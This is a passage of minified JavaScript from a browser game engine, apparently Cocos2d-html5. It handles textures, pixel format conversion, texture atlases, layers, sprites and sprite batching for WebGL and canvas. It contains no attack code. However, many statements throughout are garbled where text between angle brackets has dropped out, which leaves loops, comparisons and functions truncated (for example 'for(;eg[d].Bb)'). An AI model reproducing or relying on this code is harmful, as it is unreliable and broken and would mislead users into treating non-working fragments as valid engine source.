null!=a&&null!=c?a.x==c.x&&a.y==c.y:!1};b.ly=function(a){a.x=0;a.y=0};b.Nj=function(a,c){a.x=c.x;a.y=c.y};b.Hp=function(a,c){a.x*=c;a.y*=c};b.dP=function(a,c){a.x-=c.x;a.y-=c.y};b.jy=function(a,c){a.x+=c.x;a.y+=c.y};b.R3=function(a){b.Hp(a,1/Math.sqrt(a.x*a.x+a.y*a.y))};b.KG=function(a,c,d,e,f){f+=e;if(!(1>=f)){c*=0.5;for(var g,h=f-1,k=e;kc.value||1k.Bb)this.ZD(k,!1);else break;null!=h[a.ua]&&(g[a.bj]||(g[a.bj]=[]),g[a.bj].push(a.ua));for(;eg[d].Bb)g[d].U();else break;for(this.Z(a);de.Bb)e.U(a);else break;for(this.Z(a);ce&&-1E-6f&&-1E-6e||d>e)return b.log(b.f.DU,c,d,e,e),!1;this.ic=!0;return this.zX(a,c,d)},Rc:function(a){a&&(this.Sd=b.l.createTexture(),this.Oa=a)},n1:function(){return this.Oa},K2:function(){return this.ic},sb:function(){if(b.hw){if(!this.Oa){var a= b.V.Cd(this.url);if(!a)return;this.Rc(a)}this.Oa.width&&this.Oa.height&&(this.ic=!0,a=b.l,b.oe(this),a.pixelStorei(a.UNPACK_ALIGNMENT,4),a.texImage2D(a.TEXTURE_2D,0,a.RGBA,a.RGBA,a.UNSIGNED_BYTE,this.Oa),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MIN_FILTER,a.LINEAR),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MAG_FILTER,a.LINEAR),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_WRAP_S,a.CLAMP_TO_EDGE),a.texParameteri(a.TEXTURE_2D,a.TEXTURE_WRAP_T,a.CLAMP_TO_EDGE),this.shaderProgram=b.Hd.nc(b.Gq),b.oe(null),a=this.Oa.height, this.mj=this.Q.width=this.Oa.width,this.lj=this.Q.height=a,this.mi=b.da.Ui,this.Gi=this.Fi=1,this.to=this.Av=!1,this.Md())}},pd:function(){b.log(b.f.IU);return null},s2:function(){b.log(b.f.BU);return!1},u2:function(){b.log(b.f.FU);return!1},v2:function(){b.log(b.f.HU);return!1},I5:function(a,c,d,e){var f=b.l;void 0!==c&&(a={G3:a,C3:c,IQ:d,JQ:e});b.assert(this.mj==b.ak(this.mj)&&this.lj==b.ak(this.lj)||a.IQ==f.CLAMP_TO_EDGE&&a.JQ==f.CLAMP_TO_EDGE,"WebGLRenderingContext.CLAMP_TO_EDGE should be used in NPOT textures"); b.oe(this);f.texParameteri(f.TEXTURE_2D,f.TEXTURE_MIN_FILTER,a.G3);f.texParameteri(f.TEXTURE_2D,f.TEXTURE_MAG_FILTER,a.C3);f.texParameteri(f.TEXTURE_2D,f.TEXTURE_WRAP_S,a.IQ);f.texParameteri(f.TEXTURE_2D,f.TEXTURE_WRAP_T,a.JQ)},R4:function(){var a=b.l;b.oe(this);this.to?a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MIN_FILTER,a.LINEAR_MIPMAP_NEAREST):a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MIN_FILTER,a.LINEAR);a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MAG_FILTER,a.NEAREST)},fG:function(){var a=b.l;b.oe(this); this.to?a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MIN_FILTER,a.NEAREST_MIPMAP_NEAREST):a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MIN_FILTER,a.NEAREST);a.texParameteri(a.TEXTURE_2D,a.TEXTURE_MAG_FILTER,a.NEAREST)},generateMipmap:function(){b.assert(this.mj==b.ak(this.mj)&&this.lj==b.ak(this.lj),"Mimpap texture only works in POT textures");b.oe(this);b.l.generateMipmap(b.l.TEXTURE_2D);this.to=!0},p6:function(){return b.da.wV[this.mi]},D_:function(a){a=a||this.mi;var c=b.da.$I[a];if(null!=c)return c;b.log(b.f.yU, a);return-1},zX:function(a,c,d){var e=b.da,f=a.getData(),g=null,g=null,h=a.Dea(),k=b.size(a.g2(),a.l1()),m=e.aN,p=a.aca();h||(8<=p?m=e.Cq:(b.log(b.f.vU),m=e.Bq));var q=c*d;if(m==e.Bq)if(h)for(f=new Uint16Array(c*d),g=a.getData(),p=0;p>0&255)>>3<<11|(g[p]>>8&255)>>2<<5|(g[p]>>16&255)>>3<<0;else for(f=new Uint16Array(c*d),g=a.getData(),p=0;p>3<<11|(g[p]&255)>>2<<5|(g[p]&255)>>3<<0;else if(m==e.iu)for(f=new Uint16Array(c*d),g=a.getData(),p=0;p> 0&255)>>4<<12|(g[p]>>8&255)>>4<<8|(g[p]>>16&255)>>4<<4|(g[p]>>24&255)>>4<<0;else if(m==e.hu)for(f=new Uint16Array(c*d),g=a.getData(),p=0;p>0&255)>>3<<11|(g[p]>>8&255)>>3<<6|(g[p]>>16&255)>>3<<1|(g[p]>>24&255)>>7<<0;else if(m==e.Aq)for(f=new Uint8Array(c*d),g=a.getData(),p=0;p>24&255;if(h&&m==e.Cq)for(g=a.getData(),f=new Uint8Array(c*d*3),p=0;p>0&255,f[3*p+1]=g>>8&255,f[3*p+2]=g>>16&255;this.Ps(f,m,c,d,k);a.getData();this.Av=a.Yea();return!0},Td:function(a, c){this.gb||(this.gb=[]);this.gb.push({Eh:a,Rf:c})},qP:function(a){if(this.gb)for(var c=this.gb,d=0;dthis.wd)b.log(b.f.kI);else{var d=b.zb.BYTES_PER_ELEMENT,e=c* d,f=(this.Ma-1-c)*d;this.zc[this.Ma-1]=new b.zb(null,null,null,null,this.ad,(this.Ma-1)*d);this.If.set(this.If.subarray(e,e+f),e+d);this.pw(a,c);this.dirty=!0}},Kea:function(a,c,d){d=d||a.length;b.assert(c+d<=this.wd,b.f.OU);var e=b.zb.BYTES_PER_ELEMENT;this.Ma+=d;if(this.Ma>this.wd)b.log(b.f.kI);else{var f=c*e,g=(this.Ma-1-c-d)*e,h=this.Ma-1-d,k;for(k=0;kc?(g=c*d,e.set(e.subarray(g,g+(a-c)*d),g+d),e.set(f,g)):(g=(a+1)*d,e.set(e.subarray(g,g+(c-a)*d),g-d),e.set(f,c*d));this.dirty=!0}},rP:function(a){b.assert(ad){g=[];h=new ArrayBuffer(c*e);for(a=0;ad?(c=new Uint16Array(6*e),c.set(this.jb,0),this.jb=c):this.jb=this.jb.subarray(0,6*e);this.WL(); this.Ov();return this.dirty=!0},hO:function(a){this.Ma+=a},RO:function(a,c,d){if(void 0===d){if(d=c,c=this.Ma-a,b.assert(d+(this.Ma-a)<=this.wd,b.f.PU),0===c)return}else if(b.assert(d+c<=this.Ma,b.f.QU),b.assert(af;f++)e[f].r= a.r,e[f].g=a.g,e[f].b=a.b,e[f].a=d;this.mJ()};a.Z=function(a){a=a||b.l;b.Xs(this);b.Ec(b.Kd|b.Gu);a.bindBuffer(a.ARRAY_BUFFER,this.XD);a.vertexAttribPointer(b.ob,2,a.FLOAT,!1,0,0);a.bindBuffer(a.ARRAY_BUFFER,this.pB);a.vertexAttribPointer(b.ve,4,a.UNSIGNED_BYTE,!0,0,0);b.Kg(this.s.src,this.s.R);a.drawArrays(a.TRIANGLE_STRIP,0,4)};a.fB=function(){var a=b.l;a.bindBuffer(a.ARRAY_BUFFER,this.XD);a.bufferData(a.ARRAY_BUFFER,this.xD,a.STATIC_DRAW)};a.mJ=function(){var a=b.l;a.bindBuffer(a.ARRAY_BUFFER, this.pB);a.bufferData(a.ARRAY_BUFFER,this.wD,a.STATIC_DRAW)}}; b.H.OA=function(){var a=b.Al.prototype;a.Z=b.Uc.prototype.Z;a.Yb=function(){var a=this.ok,d=b.kl(a);if(0!==d){var e=Math.sqrt(2),a=b.d(a.x/d,a.y/d);this.av&&(a=b.Ki(a,1/(Math.abs(a.x)+Math.abs(a.y))*e));var f=this.fb/255,d=this.Ba,g=this.ze,d={r:d.r,g:d.g,b:d.b,a:this.Lo*f},f={r:g.r,g:g.g,b:g.b,a:this.fo*f},h=this.vD,g=h[0],k=h[1],m=h[2],h=h[3];g.r=f.r+(e+a.x+a.y)/(2*e)*(d.r-f.r);g.g=f.g+(e+a.x+a.y)/(2*e)*(d.g-f.g);g.b=f.b+(e+a.x+a.y)/(2*e)*(d.b-f.b);g.a=f.a+(e+a.x+a.y)/(2*e)*(d.a-f.a);k.r=f.r+(e- a.x+a.y)/(2*e)*(d.r-f.r);k.g=f.g+(e-a.x+a.y)/(2*e)*(d.g-f.g);k.b=f.b+(e-a.x+a.y)/(2*e)*(d.b-f.b);k.a=f.a+(e-a.x+a.y)/(2*e)*(d.a-f.a);m.r=f.r+(e+a.x-a.y)/(2*e)*(d.r-f.r);m.g=f.g+(e+a.x-a.y)/(2*e)*(d.g-f.g);m.b=f.b+(e+a.x-a.y)/(2*e)*(d.b-f.b);m.a=f.a+(e+a.x-a.y)/(2*e)*(d.a-f.a);h.r=f.r+(e-a.x-a.y)/(2*e)*(d.r-f.r);h.g=f.g+(e-a.x-a.y)/(2*e)*(d.g-f.g);h.b=f.b+(e-a.x-a.y)/(2*e)*(d.b-f.b);h.a=f.a+(e-a.x-a.y)/(2*e)*(d.a-f.a);this.mJ()}}};b.H.Xz=function(){var a=b.Uc.prototype;b.j(a,"width",a.fh,a.rj);b.j(a,"height",a.zk,a.qj)};b.H.Yz=function(){var a=b.Al.prototype;b.j(a,"startColor",a.rx,a.Pe);b.j(a,"endColor",a.mx,a.Ne);b.j(a,"startOpacity",a.X1,a.F5);b.j(a,"endOpacity",a.f1,a.d5);b.j(a,"vector",a.d2,a.O5)};b.fc=b.m.extend({Ul:!1,Vu:null,ub:"Layer",ctor:function(){var a=b.m.prototype;a.ctor.call(this);this.ej=!0;a.nl.call(this,0.5,0.5);a.Fd.call(this,b.sf)},ba:function(){this.ej=!0;this.nl(0.5,0.5);this.Fd(b.sf);this.cascadeColor=this.cascadeOpacity=!1;return!0},IM:null,xQ:null,Oea:function(){return this.Ul},U:null});b.fc.create=function(){return new b.fc}; if(b.B===b.Aa){var S=b.fc.prototype;S.IM=function(){if(!this.Ul){this.Ul=this.rg=!0;this.Tn=this;for(var a=this.u,c=0,d=a.length;ch.Bb)h.U(g);else break;for(this.Z(g);c=this.de.length?b.log(b.f.tS):(this.removeChild(this.de[this.Sl],!0),this.Sl=a,this.M(this.de[a]))},Hla:function(a){a>=this.de.length?b.log(b.f.uS):(this.removeChild(this.de[this.Sl], !0),this.de[this.Sl]=null,this.Sl=a,this.M(this.de[a]))},H$:function(a){a?this.de.push(a):b.log(b.f.rS)}});b.gu.create=function(){return new b.gu(Array.prototype.slice.call(arguments))};b.H.PA=function(){var a=b.D.prototype;a.uD=function(a){this.Ia(!0);this.qb(a.Jh(),a.ge,a.pp());this.Md()};a.rf=function(a){this.Pa!==a&&(this.Pa=a,this.Bt())};a.xc=function(a){b.m.prototype.xc.call(this,a);this.Bt()};a.ctor=function(a,d,e){b.m.prototype.ctor.call(this);this.Pk=!1;this.Ib=b.d(0,0);this.Ah=b.d(0,0);this.s={src:b.ac,R:b.$b};this.ia=b.rect(0,0,0,0);this.Nb=new b.zb;this.ew=b.l.createBuffer();this.ma=this.Ce=!0;this.aM(a,d,e)};a.pe=function(a,d){var e=this.s;void 0===d?(e.src=a.src,e.R= a.R):(e.src=a,e.R=d)};a.ba=function(){if(0a.width&&b.error(b.f.dA,a.url),g>a.height&&b.error(b.f.cA,a.url));this.texture=a;this.qb(d,e);this.batchNode=null;return this.Ce=!0};a.Hw=function(a){if(!this.ma){this.ma=!0;var d=this.ia;d?b.PC(d)&&(d.width=a.width,d.height=a.height):d=b.rect(0,0,a.width,a.height);this.texture=a;this.qb(d,this.Ac);this.batchNode=this.X;this.Ce=!0;this.Md()}};a.qb=function(a,d,e){this.Ac=d||!1;this.Fd(e||a);this.zG(a);this.UL(a);a=this.Ah;this.Kb&&(a.x=-a.x);this.Lb&&(a.y=-a.y);var f= this.ia;this.Ib.x=a.x+(this.Q.width-f.width)/2;this.Ib.y=a.y+(this.Q.height-f.height)/2;if(this.X)this.dirty=!0;else{a=0+this.Ib.x;d=0+this.Ib.y;e=a+f.width;var f=d+f.height,g=this.Nb;g.F.i={x:a,y:d,z:0};g.O.i={x:e,y:d,z:0};g.N.i={x:a,y:f,z:0};g.L.i={x:e,y:f,z:0};this.Ce=!0}};a.Se=function(){if(this.dirty){var a=this.Nb,d=this.Nc;if(!this.Zb||d&&d!=this.X&&d.Pk)a.O.i=a.N.i=a.L.i=a.F.i={x:0,y:0,z:0},this.Pk=!0;else{this.Pk=!1;var e=this.xm=d&&d!=this.X?b.Dm(this.Ep(),d.xm):this.Ep(),f=this.ia,d=this.Ib.x, g=this.Ib.y,h=d+f.width,k=g+f.height,m=e.Ja,p=e.Ka,q=e.a,r=e.b,t=e.K,s=-e.C,e=d*q-g*s+m,f=d*r+g*t+p,u=h*q-g*s+m,g=h*r+g*t+p,v=h*q-k*s+m,h=h*r+k*t+p,m=d*q-k*s+m,d=d*r+k*t+p,k=this.os;b.jA||(e|=0,f|=0,u|=0,g|=0,v|=0,h|=0,m|=0,d|=0);a.F.i={x:e,y:f,z:k};a.O.i={x:u,y:g,z:k};a.N.i={x:m,y:d,z:k};a.L.i={x:v,y:h,z:k}}this.textureAtlas.Wy(a,this.atlasIndex);this.dirty=this.oh=!1}this.fi&&this.qg(this.u,b.m.wf.Se);b.bk&&(a=[b.d(this.Nb.F.i.x,this.Nb.F.i.y),b.d(this.Nb.O.i.x,this.Nb.O.i.y),b.d(this.Nb.L.i.x, this.Nb.L.i.y),b.d(this.Nb.N.i.x,this.Nb.N.i.y)],b.ye.Vd(a,4,!0))};a.M=function(a,d,e){b.assert(a,b.f.VT);null==d&&(d=a.Bb);null==e&&(e=a.tag);if(this.X){if(!(a instanceof b.D)){b.log(b.f.TT);return}a.texture.Sd!==this.textureAtlas.texture.Sd&&b.log(b.f.UT);this.X.appendChild(a);this.Rd||this.lD()}b.m.prototype.M.call(this,a,d,e);this.fi=!0};a.Ta=function(a){b.m.prototype.Ta.call(this,a);this.Bt()};a.nb=function(a){b.m.prototype.nb.call(this,a);this.Bt()};a.Hc=function(a){b.m.prototype.Hc.call(this, a);this.Bt()};a.ql=function(a){var d=this;"string"==typeof a&&(a=b.rl.Cj(a),b.assert(a,b.f.mU));d.Ia(!0);var e=a.Um();d.Ah.x=e.x;d.Ah.y=e.y;e=a.Ca();a.ma||(d.ma=!1,a.Td(function(a){d.ma=!0;var c=a.Ca();c!=d.I&&(d.texture=c);d.qb(a.Jh(),a.ge,a.pp());d.Md()},d));e!=d.I&&(d.texture=e);d.Ac=a.ge;d.qb(a.Jh(),d.Ac,a.pp())};a.zO=function(a){return b.lP(a.Jh(),this.ia)&&a.Ca().getName()==this.I.getName()&&b.SF(a.Um(),this.Ah)};a.ol=function(a){if(this.X=a)this.xm={a:1,b:0,C:0,K:1,Ja:0,Ka:0},this.textureAtlas= this.X.textureAtlas;else{this.atlasIndex=b.D.zz;this.textureAtlas=null;this.dirty=this.oh=!1;a=this.Ib.x;var d=this.Ib.y,e=a+this.ia.width,f=d+this.ia.height,g=this.Nb;g.F.i={x:a,y:d,z:0};g.O.i={x:e,y:d,z:0};g.N.i={x:a,y:f,z:0};g.L.i={x:e,y:f,z:0};this.Ce=!0}};a.Ya=function(a){a&&"string"===typeof a?(a=b.Ea.Dc(a),this.Ya(a),a=a.Sf(),this.qb(b.rect(0,0,a.width,a.height))):(b.assert(!a||a instanceof b.da,b.f.oU),this.X&&this.X.texture!=a?b.log(b.f.nU):(this.shaderProgram=a?b.Hd.nc(b.Vi):b.Hd.nc(b.qu), this.X||this.I==a||(this.I=a,this.Nf())))};a.Z=function(){if(this.ma){var a=b.l,d=this.I;d?d.ic&&(this.Eb.Ic(),this.Eb.Re(),b.Kg(this.s.src,this.s.R),b.jF(0,d),b.Ec(b.Jl),a.bindBuffer(a.ARRAY_BUFFER,this.ew),this.Ce&&(a.bufferData(a.ARRAY_BUFFER,this.Nb.Vw,a.DYNAMIC_DRAW),this.Ce=!1),a.vertexAttribPointer(0,3,a.FLOAT,!1,24,0),a.vertexAttribPointer(1,4,a.UNSIGNED_BYTE,!0,24,12),a.vertexAttribPointer(2,2,a.FLOAT,!1,24,16),a.drawArrays(a.TRIANGLE_STRIP,0,4)):(this.Eb.Ic(),this.Eb.Re(),b.Kg(this.s.src, this.s.R),b.oe(null),b.Ec(b.Kd|b.Gu),a.bindBuffer(a.ARRAY_BUFFER,this.ew),this.Ce&&(b.l.bufferData(b.l.ARRAY_BUFFER,this.Nb.Vw,b.l.STATIC_DRAW),this.Ce=!1),a.vertexAttribPointer(b.ob,3,a.FLOAT,!1,24,0),a.vertexAttribPointer(b.ve,4,a.UNSIGNED_BYTE,!0,24,12),a.drawArrays(a.TRIANGLE_STRIP,0,4));b.lf++;if(0!==b.bk||this.pD)1===b.bk||this.pD?(a=this.Nb,a=[b.d(a.N.i.x,a.N.i.y),b.d(a.F.i.x,a.F.i.y),b.d(a.O.i.x,a.O.i.y),b.d(a.L.i.x,a.L.i.y)],b.ye.Vd(a,4,!0)):2===b.bk&&(a=this.$N(),d=this.E1(),a=[b.d(d.x, d.y),b.d(d.x+a.width,d.y),b.d(d.x+a.width,d.y+a.height),b.d(d.x,d.y+a.height)],b.ye.Vd(a,4,!0))}};delete a};b.H.Zz=function(){var a=b.D.prototype;b.j(a,"opacityModifyRGB",a.Uf,a.rf);b.j(a,"opacity",a.Ig,a.Ta);b.j(a,"color",a.Hg,a.nb);b.j(a,"flippedX",a.G2,a.Ay);b.j(a,"flippedY",a.H2,a.mG);b.j(a,"offsetX",a.dX);b.j(a,"offsetY",a.eX);b.j(a,"texture",a.Ca,a.Ya);b.j(a,"textureRectRotated",a.O2);b.j(a,"batchNode",a.SE,a.ol);b.j(a,"quad",a.L1)};b.Rm=function(a,c,d,e){e=e||b.Rb("canvas");d=d||b.rect(0,0,a.width,a.height);var f=e.getContext("2d");e.width!=d.width||e.height!=d.height?(e.width=d.width,e.height=d.height):f.globalCompositeOperation="source-over";f.fillStyle="rgb("+(0|c.r)+","+(0|c.g)+","+(0|c.b)+")";f.fillRect(0,0,d.width,d.height);f.globalCompositeOperation="multiply";f.drawImage(a,d.x,d.y,d.width,d.height,0,0,d.width,d.height);f.globalCompositeOperation="destination-atop";f.drawImage(a,d.x,d.y,d.width,d.height,0,0,d.width,d.height); return e}; b.Qm=function(a,c,d,e,f){e||(e=b.rect(0,0,a.width,a.height));a=d.r/255;var g=d.g/255;d=d.b/255;var h=Math.min(e.width,c[0].width),k=Math.min(e.height,c[0].height),m;f?(m=f.getContext("2d"),m.clearRect(0,0,h,k)):(f=b.Rb("canvas"),f.width=h,f.height=k,m=f.getContext("2d"));m.save();m.globalCompositeOperation="lighter";var p=m.globalAlpha;0a+g+d&&(m.globalAlpha=p,m.drawImage(c[3],e.x,e.y,h,k,0,0,h,k));m.restore();return f}; b.kp=function(a){function c(){var c=b.kp,e=a.width,h=a.height;d[0].width=e;d[0].height=h;d[1].width=e;d[1].height=h;d[2].width=e;d[2].height=h;d[3].width=e;d[3].height=h;c.canvas.width=e;c.canvas.height=h;var k=c.canvas.getContext("2d");k.drawImage(a,0,0);c.HG.width=e;c.HG.height=h;for(var k=k.getImageData(0,0,e,h).data,m=0;4>m;m++){var p=d[m].getContext("2d");p.getImageData(0,0,e,h).data;c.oQ.drawImage(a,0,0);for(var q=c.oQ.getImageData(0,0,e,h),r=q.data,t=0;ta.width&&b.error(b.f.dA,a.url),e>a.height&&b.error(b.f.cA,a.url));this.texture=this.jc=a;this.qb(c,d);this.batchNode=null;return!0},n.Hw=function(a){if(!this.ma){this.ma=!0;var c=this.ia;c?b.PC(c)&&(c.width=a.width,c.height=a.height):c=b.rect(0,0,a.width,a.height);this.texture=this.jc=a;this.qb(c,this.Ac);a=this.Ba;255==a.r&&255==a.g&&255==a.b||this.Zd();this.batchNode=this.X;this.Md()}},n.qb=function(a,c,d){this.Ac=c|| !1;this.Fd(d||a);this.zG(a);c=this.sm;d=b.pb();c.x=0|a.x*d;c.y=0|a.y*d;c.width=0|a.width*d;c.height=0|a.height*d;c.ln=!(0===c.width||0===c.height||0>c.x||0>c.y);a=this.Ah;this.Kb&&(a.x=-a.x);this.Lb&&(a.y=-a.y);this.Ib.x=a.x+(this.Q.width-this.ia.width)/2;this.Ib.y=a.y+(this.Q.height-this.ia.height)/2;this.X&&(this.dirty=!0)},n.Se=function(){if(this.dirty){var a=this.Nc;!this.Zb||a&&a!=this.X&&a.Pk?this.Pk=!0:(this.Pk=!1,this.xm=a&&a!=this.X?b.Dm(this.Ep(),a.xm):this.Ep());this.dirty=this.oh=!1}this.fi&& this.qg(this.u,b.m.wf.Se)},n.M=function(a,c,d){b.assert(a,b.f.$Q);null==c&&(c=a.Bb);null==d&&(d=a.tag);b.m.prototype.M.call(this,a,c,d);this.fi=!0},n.Ta=function(a){b.m.prototype.Ta.call(this,a);this.ri()},n.nb=function(a){var c=this.color;this.jL=c;c.r===a.r&&c.g===a.g&&c.b===a.b||b.m.prototype.nb.call(this,a)},n.Hc=function(a){b.m.prototype.Hc.call(this,a);a=this.jL;var c=this.Ba;if(a.r!==c.r||a.g!==c.g||a.b!==c.b)this.Zd(),this.ri()},n.ql=function(a){var c=this;"string"==typeof a&&(a=b.rl.Cj(a), b.assert(a,b.f.eR));c.Ia(!0);var d=a.Um();c.Ah.x=d.x;c.Ah.y=d.y;c.Ac=a.ge;var d=a.Ca(),e=a.ma;e||(c.ma=!1,a.Td(function(a){c.ma=!0;var d=a.Ca();d!=c.I&&(c.texture=d);c.qb(a.Jh(),a.ge,a.pp());c.Md()},c));d!=c.I&&(c.texture=d);c.Ac&&(c.jc=d);c.qb(a.Jh(),c.Ac,a.pp());c.dr=!1;e&&(a=c.color,255===a.r&&255===a.g&&255===a.b||c.Zd())},n.zO=function(a){return a.Ca()!=this.I?!1:b.lP(a.Jh(),this.ia)},n.ol=function(a){(this.X=a)?(this.xm={a:1,b:0,C:0,K:1,Ja:0,Ka:0},this.textureAtlas=this.X.textureAtlas):(this.atlasIndex= b.D.zz,this.textureAtlas=null,this.dirty=this.oh=!1)},n.Ya=function(a){a&&"string"===typeof a?(a=b.Ea.Dc(a),this.Ya(a),a=a.Sf(),this.qb(b.rect(0,0,a.width,a.height))):(b.assert(!a||a instanceof b.da,b.f.fR),this.I!=a&&(a&&a.Oa instanceof HTMLImageElement&&(this.jc=a),this.I=a))},n.Z=function(a){if(this.ma){a=a||b.l;"source"!=this.Xi&&(a.globalCompositeOperation=this.Xi);var c=b.view.ka,d=b.view.La;a.globalAlpha=this.fb/255;var e=this.ia,f=this.Q,g=this.Ib,h=this.xB,k=0|g.x,m=-g.y-e.height,p=this.sm; h.width=e.width*c;h.height=e.height*d;if(this.Kb||this.Lb)a.save(),this.Kb&&(k=-g.x-e.width,a.scale(-1,1)),this.Lb&&(m=g.y,a.scale(1,-1));k*=c;m*=d;this.I&&p.ln?(f=this.I.Oa,this.dr?a.drawImage(f,0,0,p.width,p.height,k,m,h.width,h.height):a.drawImage(f,p.x,p.y,p.width,p.height,k,m,h.width,h.height)):!this.I&&p.ln&&(h=this.color,a.fillStyle="rgba("+h.r+","+h.g+","+h.b+",1)",a.fillRect(k,m,f.width*c,f.height*d));1===b.bk||this.pD?(a.strokeStyle="rgba(0,255,0,1)",k/=c,m=-(m/d),k=[b.d(k,m),b.d(k+e.width, m),b.d(k+e.width,m-e.height),b.d(k,m-e.height)],b.ye.Vd(k,4,!0)):2===b.bk&&(a.strokeStyle="rgba(0,255,0,1)",c=this.ia,m=-m,k=[b.d(k,m),b.d(k+c.width,m),b.d(k+c.width,m-c.height),b.d(k,m-c.height)],b.ye.Vd(k,4,!0));(this.Kb||this.Lb)&&a.restore();b.lf++}},b.pa.Bw||(n.Zd=function(){var a,c=this.I,d=this.sm;c&&d.ln&&this.jc&&(a=c.Oa)&&(c=b.Ea.sx(this.jc.Oa))&&(this.dr=!0,a instanceof HTMLCanvasElement&&!this.Ac&&!this.Pv?b.Qm(a,c,this.Ba,d,a):(a=b.Qm(a,c,this.Ba,d),c=new b.da,c.Rc(a),c.sb(),this.texture= c))}),delete n):(b.assert("function"===typeof b.H.PA,b.f.fd,"SpritesWebGL.js"),b.H.PA(),delete b.H.PA);b.assert("function"===typeof b.H.Zz,b.f.fd,"SpritesPropertyDefine.js");b.H.Zz();delete b.H.Zz;b.iz=29; b.te=b.m.extend({textureAtlas:null,s:null,xd:null,ub:"SpriteBatchNode",$Z:function(a,c,d){b.assert(a,b.f.MT);if(!(a instanceof b.D))return b.log(b.f.LT),null;a.atlasIndex=c;var e=0,f=this.xd;if(f&&0=c&&++e}f.splice(e,0,a);b.m.prototype.M.call(this,a,c,d);this.sP(!1);return this},gF:function(){return this.textureAtlas},vG:function(a){a!=this.textureAtlas&&(this.textureAtlas=a)},b1:function(){return this.xd},dl:function(a,c){var d=b.Ea.cl(a); d||(d=b.Ea.Dc(a));return this.sa(d,c)},ri:function(){this.rg=!0},ba:function(a,c){var d=b.Ea.cl(a);d||(d=b.Ea.Dc(a));return this.sa(d,c)},Ex:function(){var a=this.textureAtlas.capacity,c=Math.floor(4*(a+1)/3);b.log(b.f.NT,a,c);this.textureAtlas.$F(c)||b.log(b.f.OT)},u4:function(a,c){this.removeChild(this.u[a],c)},jP:function(a,c){var d=a.children;if(d&&0f.zIndex&&(c=this.jP(f,c))}!a==this&&(a.atlasIndex=c,c++);if(d&&0c?d.atlasIndex:d.atlasIndex+1:0>g.zIndex&&0>c||0<=g.zIndex&&0<=c?this.oF(g)+1:d.atlasIndex+1},sP:function(a){this.Rd=a},pe:function(a,c){this.s= void 0===c?a:{src:a,R:c}},Gh:function(){return this.s},Lp:function(a,c){b.assert(a,b.f.RT);-1===this.u.indexOf(a)?b.log(b.f.QT):c!==a.zIndex&&(b.m.prototype.Lp.call(this,a,c),this.Ia())},removeChild:function(a,c){null!=a&&(-1===this.u.indexOf(a)?b.log(b.f.PT):(this.cn(a),b.m.prototype.removeChild.call(this,a,c)))},ZX:null,Uk:null,B$:!1,jc:null,ctor:null,fr:function(a,c){b.m.prototype.ctor.call(this);var d;c=c||b.iz;"string"==typeof a?(d=b.Ea.cl(a))||(d=b.Ea.Dc(a)):a instanceof b.da&&(d=a);d&&this.sa(d, c)},gr:function(a,c){b.m.prototype.ctor.call(this);this.ZX=new b.ca;var d;c=c||b.iz;"string"==typeof a?(d=b.Ea.cl(a))||(d=b.Ea.Dc(a)):a instanceof b.da&&(d=a);d&&this.sa(d,c)},EQ:null,NZ:function(a,c){b.assert(a,b.f.gR);a instanceof b.D?(a.batchNode=this,a.atlasIndex=c,a.dirty=!0,a.Se()):b.log(b.f.fz)},OZ:function(a,c){b.assert(a,b.f.fz);if(a instanceof b.D){for(var d=this.textureAtlas.capacity;c>=d||d==this.textureAtlas.totalQuads;)this.Ex();a.batchNode=this;a.atlasIndex=c;a.dirty=!0;a.Se()}else b.log(b.f.fz)}, Tk:function(a,c){var d=this.xd,e=this.textureAtlas,f=e.quads,g=d[a],h=b.TI(f[a]);d[c].atlasIndex=a;d[a]=d[c];e.Wy(f[c],a);d[c]=g;e.Wy(h,c)},Jx:null,GX:function(a,c){b.assert(a,b.f.dR);a instanceof b.D?(a.batchNode=this,a.atlasIndex=c,a.dirty=!0,a.Se(),a.mw(this),this.u.splice(c,0,a)):b.log(b.f.cR)},HX:function(a,c){b.assert(a,b.f.fU);if(a instanceof b.D){for(var d=this.textureAtlas;c>=d.capacity||d.capacity===d.totalQuads;)this.Ex();a.batchNode=this;a.atlasIndex=c;d.xF(a.quad,c);a.dirty=!0;a.Se()}else b.log(b.f.eU)}, oM:function(a,c){var d=0,e=a.children;e&&(d=e.length);var f=0;if(0===d)f=a.atlasIndex,a.atlasIndex=c,a.arrivalOrder=0,f!=c&&this.Tk(f,c),c++;else{f=!0;0<=e[0].zIndex&&(f=a.atlasIndex,a.atlasIndex=c,a.arrivalOrder=0,f!=c&&this.Tk(f,c),c++,f=!1);for(d=0;d=d.capacity&&this.Ex();d.xF(a.quad,c);this.xd.splice(c,0,a);var d=c+ 1,e=this.xd;if(e&&0a.aF()&& b.error(b.f.dA,a.url);h>a.$E()&&b.error(b.f.cA,a.url)}this.zg.x=e.x;this.zg.y=e.y;b.AC(e,this.wa);this.Hf.width=f.width;this.Hf.height=f.height;b.$L(f,this.Gk);this.ge=d;return!0}});b.ue.create=function(a,c,d,e,f){return new b.ue(a,c,d,e,f)};b.ue.BE=b.ue.create;b.ue.Z9=function(a,c,d,e,f){var g=new b.ue;g.I=a;g.Ee=c;g.ia=b.ml(c);g.zg.x=e.x;g.zg.y=e.y;b.AC(g.zg,g.wa);g.Hf.width=f.width;g.Hf.height=f.height;b.$L(g.Hf,g.Gk);g.ge=d;return g};b.rl={aJ:/^\s*\{\s*([\-]?\d+[.]?\d*)\s*,\s*([\-]?\d+[.]?\d*)\s*\}\s*$/,pV:/^\s*\{\s*\{\s*([\-]?\d+[.]?\d*)\s*,\s*([\-]?\d+[.]?\d*)\s*\}\s*,\s*\{\s*([\-]?\d+[.]?\d*)\s*,\s*([\-]?\d+[.]?\d*)\s*\}\s*\}\s*$/,wh:{},tj:{},oo:{},AL:function(a){return(a=this.pV.exec(a))?b.rect(parseFloat(a[1]),parseFloat(a[2]),parseFloat(a[3]),parseFloat(a[4])):b.rect(0,0,0,0)},qL:function(a){return(a=this.aJ.exec(a))?b.d(parseFloat(a[1]),parseFloat(a[2])):b.d(0,0)},qD:function(a){return(a=this.aJ.exec(a))?b.size(parseFloat(a[1]), parseFloat(a[2])):b.size(0,0)},UW:function(a){var c=b.V.Cd(a);b.assert(c,b.f.e6,a);b.V.Mi(a);if(c.vo)return this.oo[a]=c;var 